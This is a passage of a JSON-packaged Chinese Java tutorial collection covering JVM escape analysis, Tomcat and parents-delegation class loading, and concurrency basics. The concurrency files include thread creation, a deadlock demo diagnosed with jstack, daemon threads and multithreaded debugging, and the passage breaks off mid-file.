    "content": "### JVM内存分配策略\n\n关于JVM的内存结构及内存分配方式，不是本文的重点，这里只做简单回顾。以下是我们知道的一些常识：\n\n1、根据Java虚拟机规范，Java虚拟机所管理的内存包括方法区、虚拟机栈、本地方法栈、堆、程序计数器等。\n\n2、我们通常认为JVM中运行时数据存储包括堆和栈。这里所提到的栈其实指的是虚拟机栈，或者说是虚拟栈中的局部变量表。\n\n3、栈中存放一些基本类型的变量数据（int/short/long/byte/float/double/Boolean/char）和对象引用。\n\n4、堆中主要存放对象，即通过new关键字创建的对象。\n\n5、数组引用变量是存放在栈内存中，数组元素是存放在堆内存中。\n\n在《深入理解Java虚拟机中》关于Java堆内存有这样一段描述：\n\n但是，随着JIT编译期的发展与逃逸分析技术逐渐成熟，栈上分配、标量替换优化技术将会导致一些微妙的变化，所有的对象都分配到堆上也渐渐变得不那么“绝对”了。\n\n这里只是简单提了一句，并没有深入分析，很多人看到这里由于对JIT、逃逸分析等技术不了解，所以也无法真正理解上面这段话的含义。\n\n**PS：这里默认大家都了解什么是JIT，不了解的朋友可以先自行Google了解下，或者加入我的知识星球，阅读那篇球友专享文章。**\n\n其实，在编译期间，JIT会对代码做很多优化。其中有一部分优化的目的就是减少内存堆分配压力，其中一种重要的技术叫做**逃逸分析**。\n\n### 逃逸分析\n\n逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。这是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。通过逃逸分析，Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将这个对象分配到堆上。\n\n逃逸分析的基本行为就是分析对象动态作用域：当一个对象在方法中被定义后，它可能被外部方法所引用，例如作为调用参数传递到其他地方中，称为方法逃逸。\n\n例如：\n\n    public static StringBuffer craeteStringBuffer(String s1, String s2) {\n        StringBuffer sb = new StringBuffer();\n        sb.append(s1);\n        sb.append(s2);\n        return sb;\n    }\n    \n\nStringBuffer sb是一个方法内部变量，上述代码中直接将sb返回，这样这个StringBuffer有可能被其他方法所改变，这样它的作用域就不只是在方法内部，虽然它是一个局部变量，称其逃逸到了方法外部。甚至还有可能被外部线程访问到，譬如赋值给类变量或可以在其他线程中访问的实例变量，称为线程逃逸。\n\n上述代码如果想要StringBuffer sb不逃出方法，可以这样写：\n\n    public static String createStringBuffer(String s1, String s2) {\n        StringBuffer sb = new StringBuffer();\n        sb.append(s1);\n        sb.append(s2);\n        return sb.toString();\n    }\n    \n\n不直接返回 StringBuffer，那么StringBuffer将不会逃逸出方法。\n\n使用逃逸分析，编译器可以对代码做如下优化：\n\n一、同步省略。如果一个对象被发现只能从一个线程被访问到，那么对于这个对象的操作可以不考虑同步。\n\n二、将堆分配转化为栈分配。如果一个对象在子程序中被分配，要使指向该对象的指针永远不会逃逸，对象可能是栈分配的候选，而不是堆分配。\n\n三、分离对象或标量替换。有的对象可能不需要作为一个连续的内存结构存在也可以被访问到，那么对象的部分（或全部）可以不存储在内存，而是存储在CPU寄存器中。\n\n上面的关于同步省略的内容，我在《[深入理解多线程（五）—— Java虚拟机的锁优化技术][1]》中有介绍过，即锁优化中的锁消除技术，依赖的也是逃逸分析技术。\n\n本文，主要来介绍逃逸分析的第二个用途：将堆分配转化为栈分配。\n\n> 其实，以上三种优化中，栈上内存分配其实是依靠标量替换来实现的。由于不是本文重点，这里就不展开介绍了。如果大家感兴趣，我后面专门出一篇文章，全面介绍下逃逸分析。\n\n在Java代码运行时，通过JVM参数可指定是否开启逃逸分析， `-XX:+DoEscapeAnalysis` ： 表示开启逃逸分析 `-XX:-DoEscapeAnalysis` ： 表示关闭逃逸分析 从jdk 1.7开始已经默认开始逃逸分析，如需关闭，需要指定`-XX:-DoEscapeAnalysis`\n\n### 对象的栈上内存分配\n\n我们知道，在一般情况下，对象和数组元素的内存分配是在堆内存上进行的。但是随着JIT编译器的日渐成熟，很多优化使这种分配策略并不绝对。JIT编译器就可以在编译期间根据逃逸分析的结果，来决定是否可以将对象的内存分配从堆转化为栈。\n\n我们来看以下代码：\n\n    public static void main(String[] args) {\n        long a1 = System.currentTimeMillis();\n        for (int i = 0; i < 1000000; i++) {\n            alloc();\n        }\n        // 查看执行时间\n        long a2 = System.currentTimeMillis();\n        System.out.println(\"cost \" + (a2 - a1) + \" ms\");\n        // 为了方便查看堆内存中对象个数，线程sleep\n        try {\n            Thread.sleep(100000);\n        } catch (InterruptedException e1) {\n            e1.printStackTrace();\n        }\n    }\n    \n    private static void alloc() {\n        User user = new User();\n    }\n    \n    static class User {\n    \n    }\n    \n\n其实代码内容很简单，就是使用for循环，在代码中创建100万个User对象。\n\n**我们在alloc方法中定义了User对象，但是并没有在方法外部引用他。也就是说，这个对象并不会逃逸到alloc外部。经过JIT的逃逸分析之后，就可以对其内存分配进行优化。**\n\n我们指定以下JVM参数并运行：\n\n    -Xmx4G -Xms4G -XX:-DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError \n    \n\n在程序打印出 `cost XX ms` 后，代码运行结束之前，我们使用`[jmap][1]`命令，来查看下当前堆内存中有多少个User对象：\n\n    ➜  ~ jps\n    2809 StackAllocTest\n    2810 Jps\n    ➜  ~ jmap -histo 2809\n    \n     num     #instances         #bytes  class name\n    ----------------------------------------------\n       1:           524       87282184  [I\n       2:       1000000       16000000  StackAllocTest$User\n       3:          6806        2093136  [B\n       4:          8006        1320872  [C\n       5:          4188         100512  java.lang.String\n       6:           581          66304  java.lang.Class\n    \n\n从上面的jmap执行结果中我们可以看到，堆中共创建了100万个`StackAllocTest$User`实例。\n\n在关闭逃避分析的情况下（-XX:-DoEscapeAnalysis），虽然在alloc方法中创建的User对象并没有逃逸到方法外部，但是还是被分配在堆内存中。也就说，如果没有JIT编译器优化，没有逃逸分析技术，正常情况下就应该是这样的。即所有对象都分配到堆内存中。\n\n接下来，我们开启逃逸分析，再来执行下以上代码。\n\n    -Xmx4G -Xms4G -XX:+DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError \n    \n\n在程序打印出 `cost XX ms` 后，代码运行结束之前，我们使用`jmap`命令，来查看下当前堆内存中有多少个User对象：\n\n    ➜  ~ jps\n    709\n    2858 Launcher\n    2859 StackAllocTest\n    2860 Jps\n    ➜  ~ jmap -histo 2859\n    \n     num     #instances         #bytes  class name\n    ----------------------------------------------\n       1:           524      101944280  [I\n       2:          6806        2093136  [B\n       3:         83619        1337904  StackAllocTest$User\n       4:          8006        1320872  [C\n       5:          4188         100512  java.lang.String\n       6:           581          66304  java.lang.Class\n    \n\n从以上打印结果中可以发现，开启了逃逸分析之后（-XX:+DoEscapeAnalysis），在堆内存中只有8万多个`StackAllocTest$User`对象。也就是说在经过JIT优化之后，堆内存中分配的对象数量，从100万降到了8万。\n\n> 除了以上通过jmap验证对象个数的方法以外，读者还可以尝试将堆内存调小，然后执行以上代码，根据GC的次数来分析，也能发现，开启了逃逸分析之后，在运行期间，GC次数会明显减少。正是因为很多堆上分配被优化成了栈上分配，所以GC次数有了明显的减少。\n\n### 总结\n\n所以，如果以后再有人问你：是不是所有的对象和数组都会在堆内存分配空间？\n\n那么你可以告诉他：不一定，随着JIT编译器的发展，在编译期间，如果JIT经过逃逸分析，发现有些对象没有逃逸出方法，那么有可能堆内存分配会被优化成栈内存分配。但是这也并不是绝对的。就像我们前面看到的一样，在开启逃逸分析之后，也并不是所有User对象都没有在堆上分配。\n\n [1]: http://www.hollischuang.com/archives/2344"
  },
  {
    "path": "docs/basement/jvm/tomcat-parents-delegate.md",
    "content": "我们知道，Tomcat是web容器，那么一个web容器可能需要部署多个应用程序。\n\n不同的应用程序可能会依赖同一个第三方类库的不同版本，但是不同版本的类库中某一个类的全路径名可能是一样的。\n\n如多个应用都要依赖hollis.jar，但是A应用需要依赖1.0.0版本，但是B应用需要依赖1.0.1版本。这两个版本中都有一个类是com.hollis.Test.class。\n\n**如果采用默认的双亲委派类加载机制，那么是无法加载多个相同的类。**\n\n所以，**Tomcat破坏双亲委派原则，提供隔离的机制，为每个web容器单独提供一个WebAppClassLoader加载器。**\n\nTomcat的类加载机制：为了实现隔离性，优先加载 Web 应用自己定义的类，所以没有遵照双亲委派的约定，每一个应用自己的类加载器——WebAppClassLoader负责加载本身的目录下的class文件，加载不到时再交给CommonClassLoader加载，这和双亲委派刚好相反。"
  },
  {
    "path": "docs/basement/jvm/why-parents-delegate.md",
    "content": "如前文我们提到的，因为类加载器之间有严格的层次关系，那么也就使得Java类也随之具备了层次关系。\n\n或者说这种层次关系是优先级。\n\n比如一个定义在java.lang包下的类，因为它被存放在rt.jar之中，所以在被加载过程汇总，会被一直委托到Bootstrap ClassLoader，最终由Bootstrap ClassLoader所加载。\n\n而一个用户自定义的com.hollis.ClassHollis类，他也会被一直委托到Bootstrap ClassLoader，但是因为Bootstrap ClassLoader不负责加载该类，那么会在由Extention ClassLoader尝试加载，而Extention ClassLoader也不负责这个类的加载，最终才会被Application ClassLoader加载。\n\n这种机制有几个好处。\n\n首先，通过委派的方式，可以避免类的重复加载，当父加载器已经加载过某一个类时，子加载器就不会再重新加载这个类。\n\n另外，通过双亲委派的方式，还保证了安全性。因为Bootstrap ClassLoader在加载的时候，只会加载JAVA_HOME中的jar包里面的类，如java.lang.Integer，那么这个类是不会被随意替换的，除非有人跑到你的机器上， 破坏你的JDK。\n\n那么，就可以避免有人自定义一个有破坏功能的java.lang.Integer被加载。这样可以有效的防止核心Java API被篡改。"
  },
  {
    "path": "docs/basics/concurrent-coding/concurrent-vs-parallel.md",
    "content": "Erlang 之父 Joe Armstrong 用一张比较形象的图解释了并发与并行的区别：\n\n![](http://www.hollischuang.com/wp-content/uploads/2018/12/CON.jpg)\n\n并发是两个队伍交替使用一台咖啡机。并行是两个队伍同时使用两台咖啡机。\n\n映射到计算机系统中，上图中的咖啡机就是CPU，两个队伍指的就是两个进程。\n"
  },
  {
    "path": "docs/basics/concurrent-coding/concurrent.md",
    "content": "并发（Concurrent），在操作系统中，是指一个时间段中有几个程序都处于已启动运行到运行完毕之间，且这几个程序都是在同一个处理机上运行。\n\n那么，操作系统是如何实现这种并发的呢？\n\n现在我们用到操作系统，无论是Windows、Linux还是MacOS等其实都是**多用户多任务分时操作系统**。使用这些操作系统的用户是可以“同时”干多件事的。\n\n但是实际上，对于单CPU的计算机来说，在CPU中，同一时间是只能干一件事儿的。为了看起来像是“同时干多件事”，分时操作系统是把CPU的时间划分成长短基本相同的时间区间,即”时间片”，通过操作系统的管理，把这些时间片依次轮流地分配给各个用户使用。\n\n如果某个作业在时间片结束之前,整个任务还没有完成，那么该作业就被暂停下来,放弃CPU，等待下一轮循环再继续做.此时CPU又分配给另一个作业去使用。\n\n由于计算机的处理速度很快，只要时间片的间隔取得适当,那么一个用户作业从用完分配给它的一个时间片到获得下一个CPU时间片，中间有所”停顿”，但用户察觉不出来,好像整个系统全由它”独占”似的。\n\n所以，在单CPU的计算机中，我们看起来“同时干多件事”，其实是通过CPU时间片技术，并发完成的。\n"
  },
  {
    "path": "docs/basics/concurrent-coding/create-thread-with-Implement.md",
    "content": "\n\n    public class MultiThreads {\n        public static void main(String[] args) throws InterruptedException {\n            System.out.println(Thread.currentThread().getName());\n    \n    \n            System.out.println(\"实现Runnable接口创建线程\");\n            RunnableThread runnableThread = new RunnableThread();\n            new Thread(runnableThread).start();\n    \n          }\n    }\n    \n    class RunnableThread implements Runnable {\n    \n        @Override\n        public void run() {\n            System.out.println(Thread.currentThread().getName());\n        }\n    }\n    \n\n输出结果：\n\n    main\n    实现Runnable接口创建线程\n    Thread-1\n    \n\n通过实现接口，同样覆盖`run()`就可以创建一个新的线程了。\n\n我们都知道，Java是不支持多继承的，所以，使用Runnbale接口的形式，就可以避免要多继承 。比如有一个类A，已经继承了类B，就无法再继承Thread类了，这时候要想实现多线程，就需要使用Runnable接口了。\n\n除此之外，两者之间几乎无差别。\n\n但是，这两种创建线程的方式，其实是有一个缺点的，那就是：在执行完任务之后无法获取执行结果。\n\n如果我们希望再主线程中得到子线程的执行结果的话，就需要用到Callable和FutureTask\n"
  },
  {
    "path": "docs/basics/concurrent-coding/create-thread-with-callback-future-task.md",
    "content": "自从Java 1.5开始，提供了Callable和Future，通过它们可以在任务执行完毕之后得到任务执行结果。\n\n    public class MultiThreads {\n        public static void main(String[] args) throws InterruptedException {\n            CallableThread callableThread = new CallableThread();\n            FutureTask futureTask = new FutureTask<>(callableThread);\n            new Thread(futureTask).start();\n            System.out.println(futureTask.get());\n    }\n    \n    class CallableThread implements Callable {\n        @Override\n        public Object call() throws Exception {\n            System.out.println(Thread.currentThread().getName());\n            return \"Hollis\";\n        }\n    \n    }\n    \n\n输出结果：\n\n    main\n    通过Callable和FutureTask创建线程\n    Thread-2\n    Hollis\n    \n\nCallable位于java.util.concurrent包下，它也是一个接口，在它里面也只声明了一个方法，只不过这个方法call()，和Runnable接口中的run()方法不同的是，call()方法有返回值。\n\n以上代码中，我们在CallableThread的call方法中返回字符串\"Hollis\"，在主线程是可以获取到的。\n\nFutureTask可用于异步获取执行结果或取消执行任务的场景。通过传入Callable的任务给FutureTask，直接调用其run方法或者放入线程池执行，之后可以在外部通过FutureTask的get方法异步获取执行结果，因此，FutureTask非常适合用于耗时的计算，主线程可以在完成自己的任务后，再去获取结果。\n\n另外，FutureTask还可以确保即使调用了多次run方法，它都只会执行一次Runnable或者Callable任务，或者通过cancel取消FutureTask的执行等。\n\n值得注意的是，`futureTask.get()`会阻塞主线程，一直等子线程执行完并返回后才能继续执行主线程后面的代码。\n\n一般，在Callable执行完之前的这段时间，主线程可以先去做一些其他的事情，事情都做完之后，再获取Callable的返回结果。可以通过`isDone()`来判断子线程是否执行完。\n\n以上代码改造下就是如下内容：\n\n    public class MultiThreads {\n        public static void main(String[] args) throws InterruptedException {\n            CallableThread callableThread = new CallableThread();\n            FutureTask futureTask = new FutureTask<>(callableThread);\n            new Thread(futureTask).start();\n    \n            System.out.println(\"主线程先做其他重要的事情\");\n            if(!futureTask.isDone()){\n                // 继续做其他事儿\n            }\n            System.out.println(future.get()); // 可能会阻塞等待结果\n    }\n    \n\n一般，我们会把Callable放到线程池中，然后让线程池去执行Callable中的代码。关于线程池前面介绍过了，是一种避免重复创建线程的开销的技术手段，线程池也可以用来创建线程。"
  },
  {
    "path": "docs/basics/concurrent-coding/create-thread-with-extends.md",
    "content": "\n\n    /**\n     * @author Hollis\n     */\n    public class MultiThreads {\n    \n        public static void main(String[] args) throws InterruptedException {\n            System.out.println(Thread.currentThread().getName());\n    \n            System.out.println(\"继承Thread类创建线程\");\n            SubClassThread subClassThread = new SubClassThread();\n            subClassThread.start();  \n        }\n    }\n    \n    class SubClassThread extends Thread {\n    \n        @Override\n        public void run() {\n            System.out.println(getName());\n        }\n    }\n    \n\n输出结果：\n\n    main\n    继承Thread类创建线程\n    Thread-0\n    \n\nSubClassThread是一个继承了Thread类的子类，继承Thread类，并重写其中的run方法。然后new 一个SubClassThread的对象，并调用其start方法，即可启动一个线程。之后就会运行run中的代码。\n\n每个线程都是通过某个特定Thread对象所对应的方法`run()`来完成其操作的，方法`run()`称为线程体。通过调用Thread类的`start()`方法来启动一个线程。\n\n在主线程中，调用了子线程的`start()`方法后，主线程无需等待子线程的执行，即可执行后续的代码。而子线程便会开始执行其`run()`方法。\n\n当然，`run()`方法也是一个公有方法，在main函数中也可以直接调用这个方法，但是直接调用`run()`的话，主线程就需要等待其执行完，这种情况下，`run()`就是一个普通方法。\n\n如果读者感兴趣的话，查看一下前面介绍的Thread的源码，就可以发现，他继承了一个接口，那就是`java.lang.Runnable`，其实，开发者在代码中也可以直接通过这个接口创建一个新的线程。"
  },
  {
    "path": "docs/basics/concurrent-coding/create-thread-with-thead-pool.md",
    "content": "Java中提供了对线程池的支持，有很多种方式。Jdk提供给外部的接口也很简单。直接调用ThreadPoolExecutor构造一个就可以了：\n\n    public class MultiThreads {\n        public static void main(String[] args) throws InterruptedException, ExecutionException {\n            System.out.println(Thread.currentThread().getName());\n            System.out.println(\"通过线程池创建线程\");\n            ExecutorService executorService = new ThreadPoolExecutor(1, 1, 60L, TimeUnit.SECONDS,\n                new ArrayBlockingQueue<Runnable>(10));\n            executorService.execute(new Runnable() {\n                @Override\n                public void run() {\n                    System.out.println(Thread.currentThread().getName());\n                }\n            });\n        }\n    }\n    \n\n输出结果：\n\n    main\n    通过线程池创建线程\n    pool-1-thread-1\n    \n\n所谓线程池本质是一个hashSet。多余的任务会放在阻塞队列中。\n\n线程池的创建方式其实也有很多，也可以通过Executors静态工厂构建，但一般不建议。建议使用线程池来创建线程，并且建议使用带有ThreadFactory参数的ThreadPoolExecutor（需要依赖guava）构造方法设置线程名字，具体原因我们在后面的章节中在详细介绍。"
  },
  {
    "path": "docs/basics/concurrent-coding/deadlock-java-level.md",
    "content": "java级别死锁\n\n## 一、什么是死锁\n死锁不仅在个人学习中，甚至在开发中也并不常见。但是一旦出现死锁，后果将非常严重。\n首先什么是死锁呢？打个比方，就好像有两个人打架，互相限制住了(锁住，抱住)彼此一样，互相动弹不得，而且互相欧气，你不松手我就不松手。好了谁也动弹不得。\n在多线程的环境下，势必会对资源进行抢夺。当两个线程锁住了当前资源，但都需要对方的资源才能进行下一步操作，这个时候两方就会一直等待对方的资源释放。这就形成了死锁。这些永远在互相等待的进程称为死锁进程。\n\n那么我们来总结一下死锁产生的条件：\n\n  1. 互斥:资源的锁是排他性的，加锁期间只能有一个线程拥有该资源。其他线程只能等待锁释放才能尝试获取该资源。\n  2. 请求和保持:当前线程已经拥有至少一个资源，但其同时又发出新的资源请求，而被请求的资源被其他线程拥有。此时进入保持当前资源并等待下个资源的状态。\n  3. 不剥夺：线程已拥有的资源，只能由自己释放，不能被其他线程剥夺。\n  4. 循环等待：是指有多个线程互相的请求对方的资源，但同时拥有对方下一步所需的资源。形成一种循环，类似2)请求和保持。但此处指多个线程的关系。并不是指单个线程一直在循环中等待。\n\n什么？还是不理解？那我们直接上代码，动手写一个死锁。\n\n## 二、动手写死锁\n根据条件，我们让两个线程互相请求保持。\n```java\npublic class DeadLockDemo implements Runnable{\n\n    public static int flag = 1;\n\n    //static 变量是 类对象共享的\n    static Object o1 = new Object();\n    static Object o2 = new Object();\n\n    @Override\n    public void run() {\n        System.out.println(Thread.currentThread().getName() + \"：此时 flag = \" + flag);\n        if(flag == 1){\n            synchronized (o1){\n                try {\n                    System.out.println(\"我是\" + Thread.currentThread().getName() + \"锁住 o1\");\n                    Thread.sleep(3000);\n                    System.out.println(Thread.currentThread().getName() + \"醒来->准备获取 o2\");\n                }catch (Exception e){\n                    e.printStackTrace();\n                }\n                synchronized (o2){\n                    System.out.println(Thread.currentThread().getName() + \"拿到 o2\");//第24行\n                }\n            }\n        }\n        if(flag == 0){\n            synchronized (o2){\n                try {\n                    System.out.println(\"我是\" + Thread.currentThread().getName() + \"锁住 o2\");\n                    Thread.sleep(3000);\n                    System.out.println(Thread.currentThread().getName() + \"醒来->准备获取 o2\");\n                }catch (Exception e){\n                    e.printStackTrace();\n                }\n                synchronized (o1){\n                    System.out.println(Thread.currentThread().getName() + \"拿到 o1\");//第38行\n                }\n            }\n        }\n    }\n\n    public static  void main(String args[]){\n\n        DeadLockDemo t1 = new DeadLockDemo();\n        DeadLockDemo t2 = new DeadLockDemo();\n        t1.flag = 1;\n        new Thread(t1).start();\n\n        //让main线程休眠1秒钟,保证t2开启锁住o2.进入死锁\n        try {\n            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n        t2.flag = 0;\n        new Thread(t2).start();\n\n    }\n}\n\n```\n代码中，\nt1创建，t1先拿到o1的锁，开始休眠3秒。然后\nt2线程创建，t2拿到o2的锁，开始休眠3秒。然后\nt1先醒来，准备拿o2的锁，发现o2已经加锁，只能等待o2的锁释放。\nt2后醒来，准备拿o1的锁，发现o1已经加锁，只能等待o1的锁释放。\nt1,t2形成死锁。\n\n\n我们查看运行状态，\n\n![在这里插入图片描述](https://img-blog.csdnimg.cn/20190329173537340.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3RpbW8xMTYwMTM5MjEx,size_16,color_FFFFFF,t_70)\n\n## 三、发现排查死锁情况\n我们利用jdk提供的工具定位死锁问题：\n\n  1. jps显示所有当前Java虚拟机进程名及pid.\n  2. jstack打印进程堆栈信息。\n\n![在这里插入图片描述](https://img-blog.csdnimg.cn/20190329174354777.png)\n\n列出所有java进程。\n我们检查一下DeadLockDemo，为什么这个线程不退栈。\n\n```shell\njstack 11170\n```\n\n![在这里插入图片描述](https://img-blog.csdnimg.cn/20190329174417873.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3RpbW8xMTYwMTM5MjEx,size_16,color_FFFFFF,t_70)\n\n我们直接翻到最后:已经检测出了一个java级别死锁。其中两个线程分别卡在了代码第38行和第24行。检查我们代码的对应位置，即可排查错误。此处我们是第二个锁始终拿不到，所以死锁了。\n\n![在这里插入图片描述](https://img-blog.csdnimg.cn/20190329174407208.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3RpbW8xMTYwMTM5MjEx,size_16,color_FFFFFF,t_70)\n\n\n## 四、解决办法\n死锁一旦发生，我们就无法解决了。所以我们只能避免死锁的发生。\n既然死锁需要满足四种条件，那我们就从条件下手，只要打破任意规则即可。\n\n  1. （互斥）尽量少用互斥锁，能加读锁，不加写锁。当然这条无法避免。\n  2. （请求和保持）采用资源静态分配策略（进程资源静态分配方式是指一个进程在建立时就分配了它需要的全部资源）.我们尽量不让线程同时去请求多个锁，或者在拥有一个锁又请求不到下个锁时，不保持等待，先释放资源等待一段时间在重新请求。\n  3. （不剥夺）允许进程剥夺使用其他进程占有的资源。优先级。\n  4. （循环等待）尽量调整获得锁的顺序，不发生嵌套资源请求。加入超时。\n\n"
  },
  {
    "path": "docs/basics/concurrent-coding/deamon-thread.md",
    "content": "在Java中有两类线程：User Thread(用户线程)、Daemon Thread(守护线程) 。用户线程一般用户执行用户级任务，而守护线程也就是“后台线程”，一般用来执行后台任务，守护线程最典型的应用就是GC(垃圾回收器)。\n\n这两种线程其实是没有什么区别的，唯一的区别就是Java虚拟机在所有“用户线程”都结束后就会退出。\n\n我们可以通过使用`setDaemon()`方法通过传递true作为参数，使线程成为一个守护线程。我们必须在启动线程之前调用一个线程的`setDaemon()`方法。否则，就会抛出一个`java.lang.IllegalThreadStateException`。\n\n可以使用`isDaemon()`方法来检查线程是否是守护线程。\n\n    /**\n     * @author Hollis\n     */\n    public class Main {\n        public static void main(String[] args) {\n    \n            Thread t1 = new Thread();\n            System.out.println(t1.isDaemon());\n            t1.setDaemon(true);\n            System.out.println(t1.isDaemon());\n            t1.start();\n            t1.setDaemon(false);\n        }\n    }\n    \n\n以上代码输出结果：\n\n    false\n    true\n    Exception in thread \"main\" java.lang.IllegalThreadStateException\n        at java.lang.Thread.setDaemon(Thread.java:1359)\n        at com.hollis.Main.main(Main.java:16)\n    \n\n我们提到，当JVM中只剩下守护线程的时候，JVM就会退出，那么写一段代码测试下：\n\n    /**\n     * @author Hollis\n     */\n    public class Main {\n        public static void main(String[] args) {\n    \n            Thread childThread = new Thread(new Runnable() {\n                @Override\n                public void run() {\n                    while (true) {\n                        System.out.println(\"I'm child thread..\");\n                        try {\n                            TimeUnit.MILLISECONDS.sleep(1000);\n                        } catch (InterruptedException e) {\n                            e.printStackTrace();\n                        }\n                    }\n                }\n            });\n            childThread.start();\n            System.out.println(\"I'm main thread...\");\n        }\n    }\n    \n\n以上代码中，我们在Main线程中开启了一个子线程，在并没有显示将其设置为守护线程的情况下，他是一个用户线程，代码比较好理解，就是子线程处于一个while(true)循环中，每隔一秒打印一次`I'm child thread..`\n\n输出结果为：\n\n    I'm main thread...\n    I'm child thread..\n    I'm child thread..\n    .....\n    I'm child thread..\n    I'm child thread..\n    \n\n我们再把子线程设置成守护线程，重新运行以上代码。\n\n    /**\n     * @author Hollis\n     */\n    public class Main {\n        public static void main(String[] args) {\n    \n            Thread childThread = new Thread(new Runnable() {\n                @Override\n                public void run() {\n                    while (true) {\n                        System.out.println(\"I'm child thread..\");\n                        try {\n                            TimeUnit.MILLISECONDS.sleep(1000);\n                        } catch (InterruptedException e) {\n                            e.printStackTrace();\n                        }\n                    }\n                }\n            });\n            childThread.setDaemon(true);\n            childThread.start();\n            System.out.println(\"I'm main thread...\");\n        }\n    }\n    \n\n以上代码，我们通过`childThread.setDaemon(true);`把子线程设置成守护线程，然后运行，得到以下结果：\n\n    I'm main thread...\n    I'm child thread..\n    \n\n子线程只打印了一次，也就是，在main线程执行结束后，由于子线程是一个守护线程，JVM就会直接退出了。\n\n**值得注意的是，在Daemon线程中产生的新线程也是Daemon的。**\n\n提到线程，有一个很重要的东西我们需要介绍一下，那就是ThreadLocal。"
  },
  {
    "path": "docs/basics/concurrent-coding/debug-in-multithread.md",
    "content": "在学习过了前面几篇文章之后，相信很多人对于Java中的多线程都有了一定的了解，相信很多读者已经尝试过中写一些多线程的代码了。\n\n但是我之前面试过很多人，很多人都知道多线程怎么实现，但是却不知道如何调试多线程的代码，这篇文章我们来介绍下如何调试多线程的代码。\n\n首先我们写一个多线程的例子，使用实现Runnable接口的方式定义多个线程，并启动执行。\n\n    /**\n     * @author Hollis\n     */\n    public class MultiThreadDebug {\n    \n        public static void main(String[] args) {\n            MyThread myThread = new MyThread();\n    \n            Thread thread1 = new Thread(myThread, \"thread 1\");\n            Thread thread2 = new Thread(myThread, \"thread 2\");\n            Thread thread3 = new Thread(myThread, \"thread 3\");\n    \n            thread1.start();\n    \n            thread2.start();\n    \n            thread3.start();\n        }\n    }\n    \n    class MyThread implements Runnable {\n    \n        @Override\n        public void run() {\n            System.out.println(Thread.currentThread().getName() + \" running\");\n        }\n    }\n    \n    我们尝试在代码中设置断点，并使用debug模式启动。\n    \n\n![][1]￼\n\n如题，程序启动后，会进入一个线程的断点中，我们尝试看一下当前是哪个线程：\n\n![][2]￼\n\n发现是thread 1进入了断点。接着，我们尝试让代码继续执行，代码就直接结束运行，并且控制台打印如下：\n\n    Connected to the target VM, address: '127.0.0.1:55768', transport: 'socket'\n    thread 3 running\n    Disconnected from the target VM, address: '127.0.0.1:55768', transport: 'socket'\n    thread 2 running\n    thread 1 running\n    \n    Process finished with exit code 0\n    \n\n如果我们多次执行这个代码，就会发现，每一次打印的结果都不一样，三个线程的输出顺序是随机的，并且每一次debug只会进入到一个线程的执行。\n\n每次执行结果随即是因为不一定哪个线程可以先获得CPU时间片。\n\n那么，我们怎么才能让每一个线程的执行都能被debug呢？如何在多线程中进行debug排查问题呢？\n\n其实，在IDEA中有一个设置，那就是当我们在断点处单击鼠标右键就会弹出一个设置对话框，当我们把其中的All 修改为 Thread之后，尝试重新执行debug代码。\n\n![][3]￼\n\n重新执行之后，就可以发现，每一个线程都会进入到断点当中了。\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2020/11/16065562943648.jpg\n [2]: https://www.hollischuang.com/wp-content/uploads/2020/11/16065563249582.jpg\n [3]: https://www.hollischuang.com/wp-content/uploads/2020/11/16065565440571.jpg"
  },
  {
    "path": "docs/basics/concurrent-coding/implement-of-thread.md",
    "content": "主流的操作系统都提供了线程实现，实现线程主要有3种方式：使用内核线程实现、使用用户线程实现和使用用户线程加轻量级进程混合实现。\n\n## 使用内核线程实现\n\n内核线程（Kernel-Level Thread,KLT）就是直接由操作系统内核（Kernel，下称内核）支持的线程，这种线程由内核来完成线程切换，内核通过操纵调度器（Scheduler）对线程进行调度，并负责将线程的任务映射到各个处理器上。每个内核线程可以视为内核的一个分身，这样操作系统就有能力同时处理多件事情，支持多线程的内核就叫做多线程内核（Multi-Threads Kernel）。\n\n　　程序一般不会直接去使用内核线程，而是去使用内核线程的一种高级接口——轻量级进程（Light Weight Process,LWP），轻量级进程就是我们通常意义上所讲的线程，由于每个轻量级进程都由一个内核线程支持，因此只有先支持内核线程，才能有轻量级进程。这种轻量级进程与内核线程之间1:1的关系称为一对一的线程模型，如图所示。\n\n![][1]￼\n\n　　由于内核线程的支持，每个轻量级进程都成为一个独立的调度单元，即使有一个轻量级进程在系统调用中阻塞了，也不会影响整个进程继续工作，但是轻量级进程具有它的局限性：首先，由于是基于内核线程实现的，所以各种线程操作，如创建、析构及同步，都需要进行系统调用。而系统调用的代价相对较高，需要在用户态（User Mode）和内核态（Kernel Mode）中来回切换。其次，每个轻量级进程都需要有一个内核线程的支持，因此轻量级进程要消耗一定的内核资源（如内核线程的栈空间），因此一个系统支持轻量级进程的数量是有限的。\n\n## 使用用户线程实现\n\n　　从广义上来讲，一个线程只要不是内核线程，就可以认为是用户线程（User Thread,UT），因此，从这个定义上来讲，轻量级进程也属于用户线程，但轻量级进程的实现始终是建立在内核之上的，许多操作都要进行系统调用，效率会受到限制。\n\n　　而狭义上的用户线程指的是完全建立在用户空间的线程库上，系统内核不能感知线程存在的实现。用户线程的建立、同步、销毁和调度完全在用户态中完成，不需要内核的帮助。如果程序实现得当，这种线程不需要切换到内核态，因此操作可以是非常快速且低消耗的，也可以支持规模更大的线程数量，部分高性能数据库中的多线程就是由用户线程实现的。这种进程与用户线程之间1：N的关系称为一对多的线程模型，如图所示。\n\n![][2]￼\n\n　　